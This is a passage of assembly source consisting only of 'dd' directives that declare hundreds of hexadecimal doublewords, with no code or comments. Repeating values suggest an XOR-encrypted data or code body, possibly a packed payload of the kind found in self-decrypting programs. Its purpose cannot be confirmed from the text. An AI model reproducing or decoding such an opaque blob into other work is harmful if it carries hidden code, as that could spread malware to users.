		dd 7CC391B5h, 0E4F88C5h, 88476DEDh, 0D217936h, 53C38C09h
		dd 0E414D321h, 6CE56778h, 93DDE71h, 0B01A547Fh,	32156642h
		dd 3215ED2Dh, 0CD746611h, 269E6AF8h, 36D1E760h,	0CE156622h
		dd 3828F398h, 0B81A60A4h, 32156645h, 1611EDD7h,	0B3F2EF46h
		dd 3215624Fh, 36D2E544h, 6E315AA5h, 0D1E2E671h,	46EA9AE9h
		dd 369E4260h, 36D1E506h, 6559D871h, 8B470BDEh, 787EA029h
		dd 0DB10077Bh, 1B476A33h, 0DBAA3140h, 1B476A66h, 0BA1A39DAh
		dd 32156618h, 0C3DDD8E8h, 0FC9E5234h, 0F905D43h, 3D134A1Bh
		dd 3215210Ah, 32108F44h, 18696622h, 9DD70A7h, 1E375B0Dh
		dd 3966942h, 0CE156622h, 53E90670h, 349269E8h, 0B3156644h
		dd 0D40B19D1h, 32108F32h, 57246688h, 53111154h,	3D1562E0h
		dd 32156D9Bh, 32138F88h, 0BCE6644h, 5D60B65Bh, 0B01A0670h
		dd 32156699h, 32156AADh, 0C59D8122h, 4139302Ch,	0B68970AAh
		dd 36D20717h, 330F3606h, 1639A76Dh, 1611998Ah, 0AB3152C5h
		dd 0B30AEF31h, 591421Dh, 1E945FFBh, 9B29CA60h, 1611E77Bh
		dd 4A888822h, 21315209h, 524D966Dh, 24DF0F9Ch, 0B1749366h
		dd 269C6264h, 3215DC60h, 669C6622h, 3D4F6E35h, 32156703h
		dd 0DE949344h, 32156626h, 8C315298h, 1FC658Fh, 741D8085h
		dd 0CB11A0A3h, 0C29C70EDh, 0BF989FD6h, 34392915h, 0DBF499D7h
		dd 32156605h, 0C37B55B7h, 8F9A8679h, 0B3419B92h, 7C290BC1h
		dd 20A95670h, 32156BADh, 4BAD0822h, 866F6590h, 0F1B42BBBh
		dd 5275A424h, 32018E75h, 0CC4E6611h, 9A6157C9h,	0AC5719CDh
		dd 0CDBA5825h, 0C6C73328h, 6C4F53CAh, 0ACCEE722h, 63EC07F6h
		dd 7B49D847h, 0DCD41014h, 74C39143h, 0F494B8D5h, 0CD07A17Fh
		dd 334B9701h, 6B14ECB5h, 320DE02Dh, 21FC6611h, 95156688h
		dd 0D15B2FA4h, 0EFDA9712h, 0A007476Dh, 0E8482ADCh, 0DB2920ADh
		dd 337BE22Dh, 26FC6611h, 4B156688h, 98EBE48Ah, 6316E0FDh
		dd 5733952Bh, 2DB5C7h, 0ECA4CD3h, 489169CAh, 52156610h
		dd 0BC1A8002h, 32156645h, 0EE007DBh, 5091691Eh,	0DB156688h
		dd 32156657h, 0FA1924F7h, 5232230Ch, 0FBA12E8Eh, 24D8A3Fh
		dd 0EDE517Eh, 969169DCh, 0C7156689h, 0B61A8D78h, 321567EEh
		dd 0C59F3571h, 321B8FD7h, 0A9506644h, 302EB917h, 2B226C0Ah
		dd 0DD76B7C0h, 23FC0725h, 79156622h, 2F4E52C2h,	4F1820EEh
		dd 4DC1DFD9h, 8186B6C5h, 62E006D2h, 6CCAD987h, 33AC3725h
		dd 33156622h, 0B90CECE0h, 0F6964284h, 321D8F40h, 0E0AC6622h
		dd 0CC026B81h, 8645FE6Dh, 0B9F646B4h, 0F6964226h, 0C9959315h
		dd 9C906908h, 52EA99BBh, 52C3D92Dh, 26FCB09Ah, 0BB156688h
		dd 766788C0h, 33F914E4h, 0CF9203FFh, 29985319h,	53EDA8CBh
		dd 1E943043h, 7C50D035h, 8B443DF8h, 425B23F2h, 0CB4CAD23h
		dd 3213D847h, 0C1146688h, 0B13152CFh, 39FC62E6h, 4C156611h
		dd 3EE7F7D8h, 8E7E0DDCh, 884725BDh, 32156613h, 8A459489h
		dd 32156644h, 2A16B623h, 26FC3C49h, 2F156688h, 76DF7666h
		dd 50692EFCh, 42CE74B1h, 66C0308h, 0DB2910BDh, 32156636h
		dd 2F2E162Dh, 0F252370Eh, 74B3C2B9h, 58C0706Fh,	23FE161Dh
		dd 3215E061h, 33916944h, 0CA156622h, 601410EEh,	0D8125E32h
		dd 16415769h, 0B34E3C26h, 0D8125EE2h, 0C99693A5h, 849169BFh
		dd 3D156622h, 32156E9Fh, 30966988h, 52156644h, 36F9E743h
		dd 0BB156611h, 69442BCh, 3C2EA260h, 0C1943D0Bh,	1B1B5DD5h
		dd 321F8FE8h, 3A376644h, 7DFB2D3Bh, 15547AD3h, 53758F08h
		dd 3214DF15h, 0C3146622h, 3215DE41h, 0FA146688h, 6B4D7E47h
		dd 53CDED42h, 3210D946h
		dd 0C9146688h, 0B1315ACFh, 0DBE062E6h, 0CDEA9894h, 81C5DEE8h
		dd 3D746AF3h, 0CA143894h, 3D3B8D92h, 0CDEB160Ch, 897306BBh
		dd 3EFC121Eh, 96156611h, 516A1648h, 2052E539h, 53EF666Ah
		dd 321546F8h, 33936988h, 0CE156644h, 0CC1418A2h, 0CC56E31Eh
		dd 38FC9977h, 0BD156644h, 0CC069DDAh, 0D3203BD8h, 0CE838F34h
		dd 0B11A99BBh, 3215662Eh, 321561F8h, 4A1A988h, 0D0284DDDh
		dd 3200B64Ah, 1621EF11h, 321EE387h, 34FC6644h, 0F156622h
		dd 38688E91h, 32068F51h, 78F6644h, 12EC809Ah, 81C39E0h
		dd 0A99341F3h, 0EB502138h, 19D90E93h, 3E9C6611h, 0BB459FACh
		dd 321163A4h, 36386622h, 0B5156611h, 0BB49428Ch, 5AE94258h
		dd 32151595h, 52315A98h, 374B703h, 321E8F84h, 0B4E16622h
		dd 0B512CB8Bh, 0D70A83C7h, 21FCCA6Bh, 9F156622h, 85CF8D72h
		dd 0FAD16CBEh, 0BE25CE61h, 9E3062C2h, 0BA47C76Ah, 0B9C6EE4Ah
		dd 0F6964250h, 22946926h, 0DB156611h, 32156683h, 6A557807h
		dd 1F080606h, 60A4195Fh, 0B2C5D2D8h, 0D49DF5A8h, 81D3E67Ah
		dd 0DB4F9531h, 32156686h, 30EF26B4h, 98605B86h,	7F203795h
		dd 0C995710Bh, 0DD916934h, 0DB156627h, 32156617h, 1E1C7F2Eh
		dd 21FCD308h, 0F8156622h, 9475E133h, 21BF7C42h,	412C63FBh
		dd 7CB37A3Bh, 3D29D613h, 32E1E287h, 0B9756644h,	0E1A269ECh
		dd 3DFC5A70h, 321EC90Ch, 0D9299E44h, 3DB6E22Dh,	0B2756611h
		dd 0DF958053h, 0EE9076Bh, 0FB9169C1h, 0DB156612h, 32156681h
		dd 0DA814B77h, 0A1DDB423h, 2A9C69FAh, 0DB156688h, 32156657h
		dd 3D5770C2h, 0CD3BC7CFh, 63A9A3E6h, 4FFDE679h,	0E7DBF28h
		dd 0F79169F3h, 52156698h, 53DDEDBDh, 60315AA9h,	0F0948498h
		dd 3215668Ch, 3211A4C5h, 26926622h, 54753A35h, 5EA08509h
		dd 16219925h, 36D1E579h, 321577F8h, 0AFE02188h,	0A96BD5E5h
		dd 267A33D6h, 41463141h, 6EACD13h, 0F6963F60h, 0B3730626h
		dd 3DA4D6C0h, 0CD74A837h, 0B34B4270h, 321562E6h, 26936911h
		dd 52156688h, 321561ADh, 4DA6222h, 0F5C16703h, 3215E587h
		dd 0F1746644h, 321575CBh, 0DB142711h, 41D85C1Bh, 390DF8A9h
		dd 76E73FB4h, 85FB2557h, 53EC06E8h, 60AB80FFh, 0B7D20741h
		dd 3426C8DFh, 3215668Eh, 3212E54Bh, 0B9756622h,	0CC9E00C6h
		dd 32AC37E9h, 33156644h, 32AD36D3h, 33156611h, 6A0DEC40h
		dd 269B691Dh, 0DB156622h, 3215661Eh, 9AC7C7D2h,	2F01FCE3h
		dd 2D38329Bh, 607DE6ACh, 0DCD52E3Eh, 37FBA646h,	0CC1180E2h
		dd 31F3A6DFh, 12EDA008h, 54753CB7h, 30B4A7A3h, 3215E71Eh
		dd 0B2746688h, 0B71AE6BFh, 0CDEA98DEh, 229969E8h, 0DB156688h
		dd 3215664Fh, 645251EAh, 8EDECE07h, 62898A77h, 0A41461FCh
		dd 5F686323h, 241839B3h, 370CB4BBh, 0B410E62Dh,	0DB4DA023h
		dd 3215661Ch, 60283D9Ch, 346B423Ah, 56F6446Ch, 0CB90EDB4h
		dd 3D134AAAh, 32156ECFh, 30986922h, 52156611h, 0C380EDE9h
		dd 0CB134A5Bh, 1609ED74h, 0DB11A292h, 32156680h, 1C1268CEh
		dd 0FBD575A7h, 32156FF8h, 8002B788h, 0E287B07Eh, 65446C76h
		dd 145837AEh, 7F42DFBCh, 0CB3C5262h, 6BDE677Dh,	30AF34E8h
		dd 0B3156688h, 0EA3AABAEh, 0B3E76768h, 0EA3AABD3h, 680F65C2h
		dd 54DFD424h, 0C380AFA3h, 0B3ED0670h, 8BC675Bh,	0EA2E0735h
		dd 320CE42Dh, 62756611h, 69B48508h, 53DF8EC4h, 0B41ABC19h
		dd 0CDEA9839h, 3214E887h, 0B3ED6644h, 0DF483EC9h, 2EFEE746h
		dd 1B249BAEh, 2ED6E7BFh, 0B3249B04h, 0DF483ED2h, 2B9D69DFh
		dd 0DB156644h, 32156636h, 4723CEEAh, 6C32257Dh,	0D45F06FFh
		dd 11E3CE99h, 52D84F9Ch, 3213DED8h, 0F13C6644h,	0B13162A9h
		dd 0BF1A62D5h, 3215669Dh, 321576ADh, 0A0D44822h, 0F79BFCB0h
		dd 17DBF494h, 0E5CD26DAh, 0DBB800FBh, 3215661Ch, 36A6E103h
		dd 5CDD018Ah, 31941F9Ah, 52BE006Bh, 3217E587h, 6A446644h
		dd 0BF6EDD44h, 3CD5770h, 0DBCD574Bh, 32156642h,	0E58EC938h
		dd 0DBBE0B93h, 3215668Dh, 0B63E3C10h, 36AD3692h, 33156611h
		dd 1611ED4Eh, 0CE11A2C7h, 3D315AABh, 32156798h,	469C9A88h
		dd 0BF1A6A60h, 32156635h, 321574F8h, 0E53DF288h, 9725B16Dh
		dd 0ADA26F50h, 26C753C5h, 0BBDB009Dh, 1E184FF1h, 0DA470624h
		dd 32156601h, 8B75464Ah, 0E13B6BF5h, 71C36BCBh,	1B0A1FEFh
		dd 0B61A3ED1h, 32156646h, 0B9749597h, 0BB45422Dh, 32116368h
		dd 36106644h, 0B5156622h, 3D494215h, 32157E0Ah,	32068F44h
		dd 4F606622h, 5EC4DDE4h, 0AC339C14h, 5A2A38C7h,	41FCC711h
		dd 1609EDD8h, 0B3F3EFDEh, 32156282h, 36D3E522h,	6E315296h
		dd 349869E8h, 3D156644h, 321566AFh, 0E9A26911h,	1619EDE9h
		dd 0B3F3EF12h, 321562E4h, 36D3E511h, 6E31520Fh,	0B9D3ED24h
		dd 6EA07FDh, 0F6943835h, 3215668Ch, 321561ADh, 0D7EECC22h
		dd 87AB4A22h, 0B3F6EFDBh, 32156287h, 36AB3022h,	33156611h
		dd 2E92387Bh, 35FC3A60h, 54156622h, 5C2D05Ch, 94FC1854h
		dd 0CBEA99A4h, 9CDBE3E5h, 32176022h, 0B1ED6688h, 3E9C62A8h
		dd 0BBE4EF06h, 83753FDAh, 321C8E8Dh, 8E316644h,	5D7E0A24h
		dd 3DF07FDBh, 534A903Fh, 3CA369B1h, 320CE72Dh, 26FC6611h
		dd 6A156688h, 0B9B3B5F9h, 428D1D87h, 7E2BB4B6h,	0B5BB5E87h
		dd 0B2805538h, 0B11AE6DBh, 3215666Bh, 684331E8h, 19AC001Dh
		dd 0F19407C0h, 20E56A0Dh, 8A45AD89h, 0A300C8Eh,	5D5A7407h
		dd 79674B43h, 0CC3841A1h, 0C554EC73h, 37C591FAh, 596B239Ah
		dd 0C74DA5A1h, 0CDEAD913h, 0C93C99DDh, 0BE1A064Eh, 32156689h
		dd 0F39E00B1h, 3A916943h, 52156611h, 0C28BDDEEh, 0DB74B0F3h
		dd 32156690h, 320DEE1Eh, 21FC6688h, 0D0156644h,	819E02DBh
		dd 0A1AFDD59h, 0EC8E3E55h, 6C911FD1h, 6073D6D8h, 0C33D99A7h
		dd 1601EDEEh, 0DB17A2C7h, 3215662Ch, 0B6356019h, 0D24D5A1Fh
		dd 0C0A09494h, 327D218Ah, 1B156611h, 3E9E4284h,	36D1E560h
		dd 0BFAE35DBh, 0B3362B1Ah, 0C30DA963h, 33D6E56Ch, 6FC9A5A3h
		dd 0E9E2370Eh, 34C78D09h, 0D9941F23h, 908C1B6h,	0DB4EBF30h
		dd 3215668Eh, 0A8D997ABh, 0D9941769h, 5E3371C2h, 8847ADA1h
		dd 68E26EC8h, 6ADFE768h, 0B37E3162h, 0BC6E407Ah, 0B3CF9164h
		dd 0AD0DB6E0h, 68C667D6h, 32156F61h, 1A88B444h,	812A0964h
		dd 0B79EB22Dh, 34394471h, 0C380EDB1h, 3D134A3Dh, 32156C9Dh
		dd 6D470688h, 0AAB88CC5h, 0B17450E8h, 1E2593ACh, 0B61A678Eh
		dd 32156295h, 3214EE2Dh, 0BED6611h, 0F097694Bh,	0CE156640h
		dd 0B01AB51Bh, 0CDEA9CD9h, 319269E8h, 54156644h, 0DB74ACA9h
		dd 321562B8h, 32018F70h, 0CFB46644h, 628C2BB9h,	0F5DA1DF3h
		dd 0C1C234A4h, 69318709h, 0B7D2588Fh, 3426C8DFh, 3215668Ah
		dd 321577ADh, 0C0808722h, 0C2040659h, 6CBCAB60h, 45F1A5C1h
		dd 6043F48Ah, 0FA47D6ABh, 164157A6h, 0B34E3C40h, 0FA47D6D1h
		dd 0B242063Fh, 544DD845h, 4881B4C5h, 3CA36943h,	3219EE1Eh
		dd 0BD1A6688h, 32156642h, 3215E12Dh, 0CB956611h, 7C966908h
		dd 0DB156644h, 3215662Bh, 0CDDE3F60h, 0A76693ADh, 8AD6E778h
		dd 337A9235h, 8AAA31DAh, 1B7A929Fh, 547539BFh, 0B9EE0F99h
		dd 884707EFh, 32156689h, 3D4FB545h, 321567A6h, 8EFC9311h
		dd 52156688h, 32156FADh, 8FB2B722h, 0B8F4CC9h, 0C09E9012h
		dd 66A23525h, 606281A2h, 0E535BFA3h, 3ADAE6D2h,	0B2AD91C4h
		dd 0CB3D79E5h, 2A9C694Ah
		dd 52156688h, 0DAC4ED22h, 3215662Fh, 0B1C92C07h, 0F01EE29Ch
		dd 0E1FBE1C4h, 61743E8Bh, 321566AAh, 0BBDE4F88h, 1609ED9Dh
		dd 3211A2A3h, 64E96611h, 32159936h, 0B9E44744h,	0F6964216h
		dd 3C926915h, 52156688h, 5756B6C5h, 0FD9462A5h,	79A1FFADh
		dd 0BCFEE7E9h, 0B32E3244h, 2205F5E1h, 0B3DE4F5Fh, 2205F563h
		dd 0BCD6E70Ah, 0DB2E3222h, 32156614h, 26BA000h,	269B69C6h
		dd 0DB156622h, 3215661Eh, 0D72A7741h, 4616DD4Bh, 7583E700h
		dd 0B9E2C35Eh, 1E379F0Dh, 32108F42h, 2CD16622h,	0B9088F12h
		dd 1E0A971Dh, 32068F42h, 0FFBB6622h, 279B0C8Eh,	54767450h
		dd 2314FF78h, 8CB32A05h, 0C7A8E51Eh, 33134AB8h,	30EAE24Bh
		dd 0B71A6622h, 32156601h, 32156D61h, 9CC05444h,	12E6BAF8h
		dd 0A37B757Ah, 0B01ABEB3h, 32156670h, 321CE52Dh, 8C756611h
		dd 7306C43Bh, 3D74A0CFh, 321561A2h, 33956911h, 0CE156688h
		dd 0B41AB57Dh, 0CDEA9EEEh, 30906971h, 82156688h, 0F7C3E7F5h
		dd 53186F0Ch, 3BCED946h, 0DD945688h, 38F51015h,	0F594B1D5h
		dd 170AF59Bh, 0C74A9889h, 8288D715h, 1A2B628Eh,	6B2B4AD9h
		dd 3212EC87h, 0BA1A6644h, 32156623h, 3CFCCCE8h,	0C5156688h
		dd 0AFD39F20h, 89DB256h, 0ED483D65h, 32AE351Bh,	0B3156644h
		dd 1A5F14E1h, 0B3E6673Ah, 1A5F1463h, 691EEC6Fh,	32156BCBh
		dd 3F5D911h, 4206934Dh,	18BE1C2Ch, 30A55209h, 8744BEE7h
		dd 2FE0E63Eh, 0F795B3B2h, 31F8E613h, 0DB4C8E11h, 3215668Dh
		dd 0D7E10D47h, 32128F74h, 42F6611h, 50B8D15Fh, 56A734E3h
		dd 0F095ACDCh, 1CDFE6EEh, 0D8D5A476h, 3DE7E643h, 0C74FB702h
		dd 0DBECAE19h, 32156683h, 26DFA63Ah, 8CAD7BEFh,	98D23E38h
		dd 0EC9400E8h, 62AFA6D7h, 537B4450h, 6B3ADE41h,	0F1144A18h
		dd 0B3EE4F1Ch, 0A24C49C9h, 321C8F3Dh, 0D3FD6688h, 0A998E3Dh
		dd 62B95BA7h, 2B29DD42h, 72AD4B0Ch, 1B38E25Dh, 0F13C3DFAh
		dd 0B9730649h, 4DAA0072h, 0EA240777h, 0EA24A513h, 321DEC1Eh
		dd 0BC1A6688h, 32156646h, 0CABE0742h, 323A7679h, 1629EF88h
		dd 321564FBh, 6DEB6722h, 0E2A26971h, 3217E387h,	53756644h
		dd 26916943h, 0DB156611h, 32156687h, 0F935F52Bh, 7DFD0496h
		dd 174E7A0Dh, 0BB409E11h, 1E184FF1h, 321A8F24h,	0CA896611h
		dd 0B9A114F6h, 67DE39A7h, 7085A79Eh, 32198F28h,	0F3E16688h
		dd 0DDD9B25Ch, 86D52E70h, 0B7D26950h, 3439567Dh, 32156645h
		dd 321576CBh, 0BA638B11h, 0CC903DB4h, 0EAC930Fh, 100A0A38h
		dd 36F9E71Bh, 0BB156688h, 0D39C4248h, 3211A7A3h, 0F3966611h
		dd 1619E18Ch, 37966918h, 52156622h, 53ED3946h, 69315277h
		dd 3211A2C5h, 26FC6622h, 0AC156611h, 5BBB0442h,	0B7EF7344h
		dd 0A551AF45h, 42FBF4EDh, 0B9A51D35h, 0BB424248h, 36D2E7C5h
		dd 0B3156611h, 3215624Fh, 1629E144h, 321F8F7Eh,	0E4F26611h
		dd 3DFD44CDh, 91A18C40h, 0B3F6EF71h, 321562D2h,	36D6E588h
		dd 0B9317AC3h, 0B21A4206h, 32156604h, 32157661h, 1F1A0144h
		dd 6F289A1Ah, 1A818B10h, 2C24F5Fh, 249B69E1h, 52156622h
		dd 3FFC3C41h, 8E156688h, 24DB23EEh, 0BFBB3832h,	904E7517h
		dd 0D39C37E9h, 3211A7C5h, 0F3966622h, 1619E115h, 3D314203h
		dd 321576C6h, 3BFC0622h, 66156611h, 4C240D26h, 762D03CDh
		dd 0E87A8F43h, 0BA1A99EEh, 32156684h, 3213EB4Bh, 0B71A6622h
		dd 32156611h, 32157261h, 41309344h, 0C92089E7h,	71C96CAFh
		dd 0EA4D22B4h, 0A27116FBh, 0B1CBE14Dh, 0EC9267FAh, 0F1AA69E8h
		dd 0C77425F2h, 63FCD070h, 0FA9D9799h, 0BF1A3CD1h, 32156648h
		dd 3213EC2Dh, 0B11A6611h, 32156688h, 32128FEEh,	0E5816622h
		dd 43DCBE4h, 6943357Dh,	3D4EBECDh, 321561ABh, 33916911h
		dd 0CE156688h, 0D3346E41h, 65ED4F4Fh, 9E02DBAEh, 0DDD4218Bh
		dd 0B3CA914Ch, 327082D5h, 37FAE74Ch, 1B207D9Dh,	0B3E939BCh
		dd 321562CEh, 1621EF11h, 32156236h, 6CE54F44h, 32108E42h
		dd 5DBB6611h, 3DA03EDFh, 0B34DB4F3h, 0B40DBFF8h, 0C7BE070Ah
		dd 62F6EFDBh, 6D4A0FFCh, 4D525320h, 1F5D5EAFh, 8F446A1h
		dd 0B14DA545h, 2E9262E1h, 0BA1A3A35h, 32156683h, 321560ADh
		dd 0AC65DF22h, 0CDBFC834h, 0B14E42BCh, 52756280h, 3FFD0742h
		dd 0CF156611h, 0C845A7F4h, 872CF9F6h, 8F2306D5h, 69450749h
		dd 0B97306E9h, 62AC00BDh, 6EA0751h, 0F6963F35h,	0F39E068Ch
		dd 0AAD0024h, 321A8EABh, 0CA4A6611h, 6CCED623h,	3E921843h
		dd 26F0E43Dh, 53743F87h, 6C315277h, 3211A2C5h, 0B1EC6622h
		dd 1E9C62FDh, 0B3F0EFACh, 32156281h, 36D0E522h,	6E314A96h
		dd 3212E487h, 54756644h, 1E92AEA3h, 0EE568F70h,	0BE1A9977h
		dd 32156658h, 32078E42h, 3DF56611h, 77CC5704h, 0C92B67Fh
		dd 3B07680Dh, 0F2193C06h, 53DAEDD6h, 9CDBE383h,	32106011h
		dd 0B91A6611h, 32156694h, 32078E24h, 0BDE86622h, 827220E1h
		dd 8CC7414Fh, 0A66658C7h, 398E7564h, 53EFED48h,	0C9AB30DEh
		dd 35C877Fh, 6C114256h,	0C9E6E74Ah, 0C75C87B3h,	3211DF15h
		dd 0F9146622h, 0B3316A9Ah, 3215624Ch, 149B6944h, 52156622h
		dd 321576F8h, 0C65E8988h, 0D8EC2641h, 76F71DF5h, 975F8F27h
		dd 321C8E4Ch, 0C4876644h, 6B85F897h, 6B92F535h,	88479AE9h
		dd 32156644h, 8B449423h, 32156611h, 2B16B789h, 0B9ED3C1Dh
		dd 1E379FA7h, 0D6AD0617h, 0C7708BA5h, 0C380ED25h, 0CB134A3Dh
		dd 0CDEADB44h, 0DC149977h, 32058F19h, 88AB6622h, 7EF403A9h
		dd 0C01576D0h, 8DE9841h, 8F9680F7h, 34396920h, 0B5916989h
		dd 52156642h, 321569CBh, 0B9E3A611h, 2A9F6B5Dh,	74E92D13h
		dd 9EB004E9h, 0F99E0043h, 3AFC07D2h, 0B1156644h, 0FB8EEFFh
		dd 9E993D5h, 28976950h,	0CA156644h, 0B41ABC19h,	3215675Eh
		dd 3D759FE8h, 321566C8h, 32996922h, 53156611h, 1BA0EFE9h
		dd 52134A49h, 8DCCE744h, 321C8E42h, 0E3816688h,	196BA5D3h
		dd 0DA023C1Ah, 3215661Ch, 0AB5583BEh, 0EFFFF909h, 0E73FF34Bh
		dd 534B3E87h, 9CDBFB03h, 0B3E96077h, 6F19424Eh,	3315A50Fh
		dd 631942D4h, 0F10B3BFDh, 16596722h, 34FC3F01h,	59156688h
		dd 0D3FB6326h, 37F58FA5h, 38FC6611h, 0C2156688h, 4110DF08h
		dd 12570707h, 1629EDF1h, 0B3F3EFDEh, 32156282h,	36D3E522h
		dd 6E315296h, 32156361h, 77FB4744h, 0B7D2CF68h,	34396920h
		dd 32156689h, 162199B8h, 36D1E779h, 3D156611h, 3215670Fh
		dd 6EA9A44h, 0F6963F06h, 32058F15h, 869B6688h, 0CB07F823h
		dd 3D5E6E96h, 0A7B8B650h, 6EA4B9Eh, 0F6963860h,	321C8F26h
		dd 59CD6611h, 858971A3h, 3D57731Ch, 321572A8h, 321A8F11h
		dd 4B9E6688h, 0F9ABACA6h, 0D7F3CA58h, 404E6521h, 0D09C34A7h
		dd 3211A4C5h, 0F0966622h, 16015515h, 13172B9h, 0DB494250h
		dd 32156633h, 565F286Fh, 0F3B5E16Ah, 31A3F748h,	0CDB503A3h
		dd 0E48E8FF1h, 0B41A9977h, 32156653h, 321574CBh, 66E8D611h
		dd 0E78B609h, 8E259E0Ah, 4A401930h, 0B109AFBEh,	1E259335h
		dd 0B61A6742h, 321562D0h, 3200EC1Eh, 22FC6688h,	1D156644h
		dd 157C59C7h, 0FE12545h, 0BEDC598Dh, 0CBB8406Fh, 10ECFB09h
		dd 34FC603Dh, 6E156688h, 0C1054C2h, 0E398EDBFh,	0CA134A0Eh
		dd 3152A709h, 0F39472A0h, 179D4C40h, 0DB94BF10h, 179D4CEAh
		dd 31528FC5h, 617572C6h, 5FC3E777h, 0B37339D2h,	53E5D58Bh
		dd 1F418FA3h, 0CB3C599Eh
		dd 2278DCDAh, 0E8E209BBh, 0B3138CE3h, 0FD3B8CE3h, 68C467B5h
		dd 36F9E5B8h, 883172ABh, 32156614h, 3D4FB7A1h, 321567CBh
		dd 84479A22h, 0C19D35F8h, 684EBE00h, 349C6924h,	3D156622h
		dd 3215669Bh, 53D6ED88h, 3212EF4Bh, 0B2756622h,	0CF9F41C5h
		dd 3E9CCE9h, 3D4578Ch, 3F9669EAh, 0DB156611h, 32156680h
		dd 10FD394Eh, 4634E04Fh, 0B91A06BAh, 3215668Ch,	4D1CDD22h
		dd 18F4DE44h, 0D49C3070h, 73C7D9DFh, 0EDE22FD8h, 0D98A9A3h
		dd 0C594365Eh, 0C47AD923h, 0B14A9845h, 69262E4h, 0DBE03A35h
		dd 32156686h, 0F53E5DF2h, 527FF75Ah, 42A30A72h,	6EA025Dh
		dd 0F6943D60h, 32156626h, 1619EDE9h, 0B3F0EFDDh, 32156281h
		dd 36D0E522h, 6E314A96h, 16219974h, 36D1E51Ah, 0C29E0042h
		dd 69A2AC90h, 64744BCAh, 0F49480CDh, 32156626h,	0B511A092h
		dd 169E42BCh, 2D9A6960h, 3D156622h, 32157F99h, 32018F88h
		dd 0F7046644h, 0C01018B7h, 0E3DBA049h, 6C04C001h, 0FAA544B9h
		dd 4FC82E3h, 3DEA99C9h,	32156A01h, 34906944h, 3D156622h
		dd 3215669Dh, 0FC90A188h, 301355EAh, 52156622h,	4D78DD77h
		dd 52749C02h, 2455D922h, 531D8CA2h, 1611E747h, 27403880h
		dd 0B3317ACFh, 321562E6h, 3AFEE711h, 0DB0033D6h, 32156642h
		dd 1FE498A9h, 841A73ABh, 0CB959386h, 549669C4h,	0DB156622h
		dd 32156618h, 378AC8C8h, 0AE23979Dh, 0F1949A86h, 491756B6h
		dd 8F40AD89h, 491756E3h, 0CB488D0Bh, 5D4CD946h,	0DDC4218Eh
		dd 13FC81C5h, 0F59416D6h, 24553445h, 36D2E7C7h,	1BDC59C8h
		dd 3D7539D9h, 32156593h, 0FA9E0088h, 321577ADh,	316A3622h
		dd 0DBC70E89h, 0E058286h, 4FD5A147h, 0DB7463B0h, 32156679h
		dd 36F9E571h, 81317ACDh, 0B2CE9095h, 0EB3DD0D2h, 0D09406D3h
		dd 29595E1Dh, 0C3922F43h, 0C392B0E6h, 321BEE87h, 3BFC6644h
		dd 12156622h, 0A36322B3h, 1B25CDF0h, 32118AC5h,	369C6622h
		dd 32EADE35h, 0F3346688h, 0F194931Ch, 15BB45F6h, 8A45AD38h
		dd 4A18652Fh, 0DAD4260Ch, 0DB3A4B2Ah, 0F13CBED8h, 8B7306D0h
		dd 53ECA87Fh, 10ECE3A9h, 0B975603Dh, 0EFAC007Ah, 0A79E07A8h
		dd 343979D3h, 321568F8h, 96A23E88h, 0B15549D4h,	8B08EBAh
		dd 0DBD5F6FEh, 32156682h, 0CCEA5813h, 0B1198D3Fh, 6BFCD755h
		dd 0DBEA9973h, 32156654h, 6AB99286h, 0FF1F4FE1h, 44030A4Bh
		dd 336A3807h, 9CDBE3E5h, 32176022h, 35FC6688h, 0BE156644h
		dd 4726BA38h, 0DE96EF51h, 1621EF8Ch, 0ED314AC5h, 690DF57Fh
		dd 6FCAA590h, 86757E1Bh, 0FAA26952h, 0B41A0643h, 32156612h
		dd 0DBECEDEEh, 32156641h, 887CDEDCh, 841A0798h,	0CB959F86h
		dd 6C9669C4h, 0C7156622h, 7958A590h, 0F19420FBh, 7CE11E39h
		dd 0D994AD23h, 7CE11E6Ch, 79588D09h, 3D752037h,	321560A8h
		dd 32936911h, 3D156688h, 321565CDh, 0E5AA6922h,	33AF3470h
		dd 33156688h, 0BF1A3C97h, 32156625h, 0FD9E0071h, 0CB7407E8h
		dd 3215C3ADh, 321E8F22h, 0A3BC6611h, 0E96EB841h, 7DDD787Fh
		dd 804700DEh, 0B6F7E62Fh, 0D895BC7Eh, 54C44EB9h, 2A9E6978h
		dd 3D156611h, 3215740Eh, 32188F44h, 0C1C66622h,	8D883578h
		dd 1A7A9FA7h, 0B19DE42Ch, 3E9C62CEh, 16099135h,	63459AD1h
		dd 321599FDh, 6BDDEF22h, 3D4DA730h, 32157209h, 321A8F44h
		dd 37C66622h, 0BFFC35E4h, 262DF30Fh, 4B3A59BFh,	0F7AD361Ch
		dd 33777F37h, 0F93C3E4Bh, 14D08DC5h, 0B11A043Bh, 32156606h
		dd 32157461h, 81843544h, 439641CCh, 0EF99BD5Fh,	943F2A63h
		dd 52766EF8h, 0DD6EDD44h, 0B79E07E4h, 34394471h, 0EB940024h
		dd 0B3739B34h, 53FEBAF3h, 2DE4F303h, 0B71A6068h, 3215662Fh
		dd 85F7E771h, 54061FD8h, 1FE280C5h, 0C7A8E543h,	33134A21h
		dd 0C5A6E287h, 0B11A99BBh, 32156632h, 32156DF8h, 0E0DA0688h
		dd 6175DC92h, 0BE806508h, 0B01ABE2Ah, 321566C1h, 0B3ECED24h
		dd 97AF8AFCh, 0E12C0755h, 0DF87E087h, 0BF1A99BBh, 32156635h
		dd 321574F8h, 850FEF88h, 5887A6B2h, 0A38CCAC1h,	0C1573408h
		dd 3D0D3246h, 321572C8h, 321A8F22h, 0EFC46611h,	8C941C96h
		dd 424C12F4h, 0CC21EEDCh, 0CDA83375h, 33EA9977h, 54753BAAh
		dd 0B9E9CE98h, 0BB4207EFh, 3694317Fh, 62684360h, 0DB943F5Dh
		dd 4D451B34h, 339069D7h, 0C7156644h, 57ECDD71h,	0C19465CDh
		dd 331D4EF8h, 0C194B5B3h, 70C92C33h, 17E6E75Ah,	3380D073h
		dd 0CB3C3D9Dh, 31568FA3h, 0B41A4C50h, 3215669Ch, 321569ADh
		dd 0A06D1422h, 0AB66DF23h, 944C8446h, 0DA1580E5h, 3210DE72h
		dd 0DB946611h, 13362342h, 0F394A76Dh, 133623E8h, 84479F49h
		dd 68E5EE16h, 0DB751170h, 32156624h, 1CF05AE3h,	0C9AD85B3h
		dd 531A0708h, 39916988h, 52156611h, 0B3C7D987h,	8C88ACADh
		dd 63450722h, 1619ED49h, 3211A209h, 21FC6644h, 89156622h
		dd 4731ADA1h, 0BB272403h, 0FF806C05h, 3DD72EB6h, 0CABEF54Fh
		dd 0CDC16661h, 8B449FBBh, 32156622h, 88479710h,	32156688h
